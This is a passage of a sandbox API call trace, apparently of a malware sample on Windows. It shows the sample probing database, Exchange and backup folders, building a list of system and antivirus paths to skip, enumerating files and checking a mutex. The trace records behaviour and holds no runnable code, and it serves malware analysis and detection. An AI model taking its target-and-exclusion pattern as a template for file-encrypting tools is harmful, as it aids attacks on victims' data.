lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.262] SysReAllocStringLen (in: pbstr=0x18f104*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA", len=0x32 | out: pbstr=0x18f104*="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA") returned 1 [0055.262] GlobalLock (hMem=0x440004) returned 0x550170 [0055.263] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.263] GlobalUnlock (hMem=0x440004) returned 0 [0055.263] GlobalLock (hMem=0x440004) returned 0x550170 [0055.263] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.263] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.263] GlobalUnlock (hMem=0x440004) returned 0 [0055.263] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.263] GlobalUnlock (hMem=0x44000c) returned 0 [0055.263] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\Microsoft\\Exchange Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7e0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@ꢮRꢂR企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0055.264] GetLastError () returned 0x3 [0055.264] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\") returned 0x33 [0055.264] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0055.264] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\Microsoft SQL Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7e0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@ꠜR企@\x18㿬Q\x181")) returned 0xffffffff [0055.264] GetLastError () returned 0x2 [0055.264] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\") returned 0x33 [0055.264] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0055.264] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\Firebird", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7e0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@翌R企@\x18?T\x18;")) returned 0xffffffff [0055.265] GetLastError () returned 0x2 [0055.265] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\") returned 0x33 [0055.265] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7d0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0055.265] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\MSSQL.1", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7e0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@坜U企@\x18?T\x18D")) returned 0xffffffff [0055.265] GetLastError () returned 0x2 [0055.265] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\") returned 0x33 [0055.265] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7d0, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0055.265] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7e0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@ꠜR企@\x18翌R\x18j")) returned 0xffffffff [0055.265] GetLastError () returned 0x2 [0055.265] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\") returned 0x33 [0055.265] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0055.265] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\Adobe", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7e0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@坜U企@\x18?T\x18q")) returned 0xffffffff [0055.266] GetLastError () returned 0x2 [0055.266] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\") returned 0x33 [0055.266] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7d0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="adobe\\翈RP") returned 6 [0055.266] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\Oracle", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7e0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@儔R企@\x18?T\x18y")) returned 0xffffffff [0055.266] GetLastError () returned 0x2 [0055.266] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\") returned 0x33 [0055.266] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7d0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0055.266] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\Archive", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7e0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@ꠜR企@\x18?T\x18\x81")) returned 0xffffffff [0055.266] GetLastError () returned 0x2 [0055.266] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\") returned 0x33 [0055.266] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7d0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0055.266] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\Backup", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7e0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@坜U企@\x18?T\x18\x88")) returned 0xffffffff [0055.266] GetLastError () returned 0x2 [0055.266] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\") returned 0x33 [0055.266] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7d0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0055.266] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\Reserv", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7e0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@儔R企@\x18?T\x18\x8f")) returned 0xffffffff [0055.267] GetLastError () returned 0x2 [0055.267] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\") returned 0x33 [0055.267] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7d0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0055.267] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\Restore", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7e0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@ꠜR企@\x18?T\x18\x97")) returned 0xffffffff [0055.267] GetLastError () returned 0x2 [0055.267] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\") returned 0x33 [0055.267] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7d0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0055.267] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.267] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.267] GlobalUnlock (hMem=0x44000c) returned 0 [0055.267] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.267] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.267] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.267] GlobalUnlock (hMem=0x44000c) returned 0 [0055.267] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.267] GlobalUnlock (hMem=0x440004) returned 0 [0055.267] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\") returned 0x33 [0055.267] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0055.267] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0055.267] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\") returned 0x33 [0055.267] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0055.267] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0055.267] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\") returned 0x33 [0055.268] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0055.268] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0055.268] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\") returned 0x33 [0055.268] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0055.268] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=11, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0055.268] GlobalLock (hMem=0x440004) returned 0x550170 [0055.268] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.268] GlobalUnlock (hMem=0x440004) returned 0 [0055.268] GlobalLock (hMem=0x440004) returned 0x550170 [0055.268] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.268] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.268] GlobalUnlock (hMem=0x440004) returned 0 [0055.268] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.268] GlobalUnlock (hMem=0x44000c) returned 0 [0055.268] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\") returned 0x33 [0055.268] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0055.268] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\") returned 0x33 [0055.268] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7d0, cbMultiByte=11, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0055.268] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\") returned 0x33 [0055.268] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7d0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0055.268] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\") returned 0x33 [0055.268] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0055.268] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\") returned 0x33 [0055.268] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0055.268] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\") returned 0x33 [0055.268] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7d0, cbMultiByte=10, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0055.268] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\") returned 0x33 [0055.268] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7d0, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0055.268] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\") returned 0x33 [0055.269] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7d0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0055.269] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\") returned 0x33 [0055.269] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0055.269] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.269] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.269] GlobalUnlock (hMem=0x44000c) returned 0 [0055.269] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.269] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.269] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.269] GlobalUnlock (hMem=0x44000c) returned 0 [0055.269] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.269] GlobalUnlock (hMem=0x440004) returned 0 [0055.269] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0055.269] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.269] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 1 [0055.269] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 0 [0055.269] GetLastError () returned 0x12 [0055.269] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0055.269] GlobalLock (hMem=0x440004) returned 0x550170 [0055.269] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.269] GlobalUnlock (hMem=0x440004) returned 0 [0055.269] GlobalLock (hMem=0x440004) returned 0x550170 [0055.269] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.269] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.269] GlobalUnlock (hMem=0x440004) returned 0 [0055.269] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.270] GlobalUnlock (hMem=0x44000c) returned 0 [0055.270] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0055.270] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0055.270] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0055.270] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.270] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.270] GlobalUnlock (hMem=0x44000c) returned 0 [0055.270] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.270] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.270] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.270] GlobalUnlock (hMem=0x44000c) returned 0 [0055.270] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.270] GlobalUnlock (hMem=0x440004) returned 0 [0055.270] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.270] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.270] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0055.270] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0055.270] GlobalLock (hMem=0x440004) returned 0x550170 [0055.270] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.270] GlobalUnlock (hMem=0x440004) returned 0 [0055.270] GlobalLock (hMem=0x440004) returned 0x550170 [0055.270] GlobalLock 